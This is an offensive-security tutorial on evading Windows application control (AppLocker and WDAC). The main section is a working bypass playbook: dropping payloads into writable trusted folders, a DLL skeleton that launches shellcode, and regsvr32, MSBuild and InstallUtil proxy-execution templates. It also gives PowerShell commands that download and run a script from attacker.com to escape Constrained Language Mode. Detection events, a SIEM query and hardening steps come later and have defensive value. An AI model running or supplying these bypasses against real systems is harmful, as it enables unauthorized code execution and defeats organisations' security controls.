Skip to Content
AppLocker and WDAC bypass techniques for Windows application control evasion

AppLocker and WDAC Bypass Techniques

AppLocker and Windows Defender Application Control bypass methods, covering trusted folder abuse, LOLBAS proxy execution and Constrained Language Mode escape.

Sep 29, 2026
Updated Nov 22, 2026
13 min read

Introduction

AppLocker and Windows Defender Application Control (WDAC) are both application whitelisting, enforced in different places. AppLocker is enforced in user mode by the Application Identity service (AppIDSvc) and evaluated at process creation. It is rule-based (path, publisher, hash) and configured per GPO. WDAC is enforced in the kernel by Code Integrity (CI.dll), which makes it much harder to bypass. Both still leave gaps.

AppLocker's weakness is path rules. Most enterprise deployments allow execution from C:\Windows\* and C:\Program Files\*, because blocking those paths breaks legitimate software. Some subdirectories inside the allowed paths are writable by standard users (C:\Windows\Tasks, C:\Windows\Tracing, C:\Windows\Registration\CRMLog), so you can drop a binary into a trusted location without admin rights. DLL rules are also off by default, so any allowed EXE that loads a DLL from a path you control will run your code.

WDAC leaves less to work with. The gaps are COM objects, MSBuild inline tasks, and the boundary between user-mode and kernel enforcement. Which policy is active, and how it was configured, decides which path applies. Either way the aim is arbitrary code execution that still looks like it stays inside the policy.

Authorized use only

These techniques are for authorized penetration tests and red team engagements. Bypassing application control without explicit written authorization is a criminal offense under computer fraud statutes.

Impact

  • On a misconfigured system, a standard user can bypass application whitelisting completely.
  • A PowerShell CLM escape gives unrestricted script execution from a locked-down session.
  • With DLL rules off, unsigned DLLs load through any allowed EXE.
  • LOLBAS proxy execution satisfies path and publisher rules while running arbitrary code.
  • Scheduled tasks and startup entries can persist from writable C:\Windows\ subdirectories.
  • A copy of the WDAC policy shows the exact rule gaps before you act.

Technical details

Enumerate AppLocker policy

Pull the effective AppLocker policy from the local machine. It shows which rule collections are active and what they allow.

Dump effective AppLocker rules
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

For a structured view including rule conditions:

Enumerate rules with conditions
Get-AppLockerPolicy -Effective -Xml | Out-File C:\Users\Public\applocker_policy.xml

Look for:

  • Path rules with wildcards (%WINDIR%\*, %PROGRAMFILES%\*). These are your trusted folder targets.
  • Publisher rules, which pin a publisher name, product name and minimum version.
  • Hash rules. They are the hardest to bypass, but rare in large deployments.
  • Which rule collections are enabled: Exe, Dll, Script, MSI, Appx. DLL rules are off by default.

Check whether DLL enforcement is enabled:

Check DLL rule collection
(Get-AppLockerPolicy -Effective).RuleCollections | Where-Object { $_.RuleCollectionType -eq 'Dll' }

An empty result means DLL rules are not configured, so unsigned DLLs load freely through any allowed EXE.

Identify writable trusted paths

Most AppLocker policies allow the whole Windows directory with %WINDIR%\*. Enumerate the writable paths inside it:

Find writable subdirectories under C:\Windows
accesschk.exe -uwdq "C:\Windows" /accepteula 2>nul

Common writable paths on default Windows installations (no admin required):

C:\Windows\Tasks
C:\Windows\Tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\Tasks\Microsoft\Windows\PLA\System
C:\Windows\SysWOW64\Tasks
C:\Windows\Temp  (variable, depends on ACL hardening)

Drop a payload and execute:

Copy and execute from writable trusted path
copy payload.exe C:\Windows\Tasks\update.exe
C:\Windows\Tasks\update.exe

This works because the path C:\Windows\Tasks\update.exe matches the %WINDIR%\* allow rule.

DLL side-loading through allowed EXEs

With DLL rules disabled (the default), any executable AppLocker allows can load your DLL. Find EXEs that load DLLs without a fully qualified path:

Monitor DLL loads with Procmon filter
procmon.exe /Quiet /Minimized /BackingFile C:\tmp\trace.pml

Filter for Result is NAME NOT FOUND and Path ends with .dll. These are DLLs the process tries to load and cannot find. Drop your DLL into the search path.

C:\Program Files\Common Files\microsoft shared\ is a dependable static target because many applications search it. Compile a DLL with the expected export:

Minimal proxy DLL skeleton
// Compile: x86_64-w64-mingw32-gcc -shared -o target.dll loader.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID r) {
    if (reason == DLL_PROCESS_ATTACH)
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Shellcode, NULL, 0, NULL);
    return TRUE;
}

LOLBAS proxy execution

Living-off-the-land binaries pass AppLocker publisher and path rules because they are signed Microsoft binaries in %WINDIR%\System32\. Three that work consistently:

regsvr32 scriptlet execution (T1218.010):

regsvr32 COM scriptlet bypass
regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

The .sct file is a COM scriptlet (XML with a <script> tag) that runs JScript or VBScript. AppLocker allows it because regsvr32.exe is a trusted Microsoft binary.

MSBuild inline task execution (T1127.001):

MSBuild inline task
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj
MSBuild payload.csproj
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Execute">
    <ClassicTask />
  </Target>
  <UsingTask TaskName="ClassicTask" TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
        using System; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;
        public class ClassicTask : Task {
          public override bool Execute() {
            System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\Users\\Public\\out.txt");
            return true;
          }
        }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

InstallUtil (T1218.004):

InstallUtil uninstall bypass
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe

The /U flag calls the Uninstall() method of a class decorated with [RunInstaller(true)] without installing anything.

PowerShell Constrained Language Mode bypass

When AppLocker or WDAC is enforced, PowerShell drops to Constrained Language Mode (CLM). Confirm it:

Check language mode
$ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguage

CLM blocks Add-Type, COM objects, .NET method calls on non-approved types, and reflection. The bypass works because an assembly loaded into the process is not subject to CLM. It runs as full .NET and never goes through the PowerShell language engine.

Method 1, PSBypassCLM with a custom runspace:

Compile a C# executable (allowed by an AppLocker path rule) that creates a PowerShell runspace without CLM:

CLM bypass via custom runspace
using System.Management.Automation;
using System.Management.Automation.Runspaces;

var rs = RunspaceFactory.CreateRunspace();
rs.Open();
// Runspace created outside constrained context runs in FullLanguage
var ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript("IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')");
ps.Invoke();

Method 2, PowerShell 2.0 downgrade:

The PowerShell 2.0 engine predates CLM and ignores application control constraints. If it is installed:

Downgrade to PS2 to escape CLM
powershell.exe -Version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"

Check whether v2 is available: Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

Method 3, .NET reflection from an allowed binary:

From a C# binary running in an allowed path, load a PowerShell assembly through reflection and invoke it without CLM constraints:

Reflective load bypasses CLM
# This works from FullLanguage mode obtained via a custom runspace
[System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("C:\Windows\Tasks\implant.dll"))
[Implant.Core]::Execute()

WDAC policy enumeration

Before trying a WDAC bypass, find out which policy is active and how it is configured.

citool.exe ships with Windows 11 22H2 and Windows Server 2025:

List active WDAC policies
citool.exe --list-policies

On older systems, enumerate through WMI or the registry:

Enumerate WDAC policies via registry
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy"

Active policies are binary .p7b or .cip files. Convert one to XML with ConvertTo-WDACCodeIntegrityPolicy from WDACTools. The built-in ConvertFrom-CIPolicy only goes the other way, from XML to binary.

Parse binary WDAC policy
# WDACTools from https://github.com/mattifestation/WDACTools
Import-Module .\WDACTools.psd1
ConvertTo-WDACCodeIntegrityPolicy -BinaryFilePath C:\Windows\System32\CodeIntegrity\SIPolicy.p7b -XmlFilePath policy.xml

Inspect the XML for:

  • <Rules>: policy rules and option flags (audit or enforce mode, UMCI, HVCI)
  • <FileRules>: allowed and denied file hashes and paths
  • <Signers>: trusted signers and certificates
  • Option values: 0 = Enabled:UMCI (user-mode enforcement), 6 = Unsigned System Integrity Policy allowed

If Enabled:Audit Mode Only is present, WDAC is logging and not blocking. Check the Microsoft-Windows-CodeIntegrity/Operational event log (Event ID 3076).

WDAC MSBuild and COM bypass

WDAC in user-mode enforcement (UMCI) checks code signing for EXEs and DLLs. MSBuild inline tasks compile to in-memory assemblies, and on unpatched configurations those do not get the same signing checks.

The MSBuild inline task technique (step 4) also works against many WDAC policies. System-wide COM objects that the WDAC file rules do not cover can be instantiated too:

Invoke COM object not covered by WDAC
$obj = [Activator]::CreateInstance([Type]::GetTypeFromProgID("WScript.Shell"))
$obj.Run("cmd.exe /c whoami > C:\Users\Public\out.txt", 0, $true)

This works because, in many policy configurations, code integrity checks apply to PE images and not to COM activation paths.

For WDAC policies with Enabled:Allow Supplemental Policies, check whether you can enumerate or influence supplemental policy loading.

Attack tools

Full AppLocker enumeration
# Effective policy (all rule collections)
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# Export XML for offline analysis
Get-AppLockerPolicy -Effective -Xml | Out-File .\applocker.xml

# Check if DLL rules are enforced
(Get-AppLockerPolicy -Effective).RuleCollections |
  Where-Object { $_.RuleCollectionType -eq 'Dll' } |
  Select-Object RuleCollectionType, EnforcementMode

# Test if a specific file would be allowed
Test-AppLockerPolicy -Path C:\Windows\Tasks\test.exe -User Everyone

# Find writable dirs in trusted paths (requires accesschk)
accesschk.exe -uwdq "C:\Windows" /accepteula 2>nul | Select-String "RW"
accesschk.exe -uwdq "C:\Program Files" /accepteula 2>nul | Select-String "RW"

Detection

AppLocker bypass attempts generate these events:

Event IDLogDescription
8003Microsoft-Windows-AppLocker/EXE and DLLEXE/DLL blocked by AppLocker
8004Microsoft-Windows-AppLocker/EXE and DLLEXE/DLL would have been blocked (audit)
8006Microsoft-Windows-AppLocker/ScriptScript blocked
8007Microsoft-Windows-AppLocker/ScriptScript would have been blocked (audit)
4688SecurityProcess creation, for parent/child anomalies

WDAC violations:

Event IDLogDescription
3076Microsoft-Windows-CodeIntegrity/OperationalAudit block (policy in audit mode)
3077Microsoft-Windows-CodeIntegrity/OperationalEnforce block
3089Microsoft-Windows-CodeIntegrity/OperationalSignature validation details

Behavioral detections:

  • regsvr32.exe making network connections or spawning child processes. This covers the /i:http:// scriptlet path.
  • MSBuild.exe run outside Visual Studio or a build pipeline, where the parent process is not devenv.exe, cmd.exe from a build script, or a CI agent
  • InstallUtil.exe with /U flag and no corresponding installer log
  • mshta.exe with inline VBScript arguments
  • PowerShell Script Block Logging (Event 4104) records code run in a CLM bypass runspace. The compiled C# creates a new runspace, but 4104 still fires when the payload script runs PowerShell commands.
  • powershell.exe -Version 2, which has no legitimate administrative use in most environments
  • File write events (Sysmon Event ID 11) to C:\Windows\Tasks\, C:\Windows\Tracing\, C:\Windows\Registration\CRMLog\ from non-system processes

SIEM detection for trusted-path abuse:

(EventCode=4688 OR EventCode=1) AND
NewProcessName LIKE "C:\\Windows\\Tasks\\%" OR
NewProcessName LIKE "C:\\Windows\\Tracing\\%" OR
NewProcessName LIKE "C:\\Windows\\Registration\\CRMLog\\%"

Remediation

AppLocker hardening

  • Enable the DLL rule collection by adding <DllRules> to the policy. It closes the DLL gap but needs testing so it does not break applications.
  • Replace wildcard path rules (%WINDIR%\*) with explicit publisher rules for known-good software. That removes the writable trusted paths.
  • Audit writable directories inside allowed path trees with icacls or accesschk, and remove Users or Everyone write permissions on subdirectories under C:\Windows\
  • Restrict %WINDIR%\Microsoft.NET\Framework*\MSBuild.exe, InstallUtil.exe, regsvr32.exe and mshta.exe with publisher rules to specific approved uses, or block them if they are not needed
  • Disable PowerShell v2: Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root

WDAC over AppLocker

Prefer WDAC. It is enforced in the kernel and does not depend on the Application Identity service running. WDAC with HVCI (Hypervisor-Protected Code Integrity) is harder again to get past:

  • Use the ConfigCI module to build policies: New-CIPolicy, Merge-CIPolicy, ConvertFrom-CIPolicy
  • Start in audit mode (Event 3076) to baseline the environment before enforcing
  • Deploy supplemental policies for per-application exceptions instead of widening the base policy
  • Enable UMCI (user-mode code integrity). Without it, only kernel-mode code is checked.
  • Block known LOLBAS with explicit deny rules in the WDAC policy (Microsoft publishes a recommended block list)

PowerShell hardening

  • Enable Script Block Logging (Event 4104): HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging = 1
  • Enable transcription logging, which captures all PowerShell input and output to a file
  • Enforce Constrained Language Mode through WDAC. CLM enforced by AppLocker is easier to bypass.
  • Deploy Just Enough Administration (JEA) for legitimate admin PowerShell use

References

MITRE ATT&CK techniques

Tools and documentation

Next steps

On this page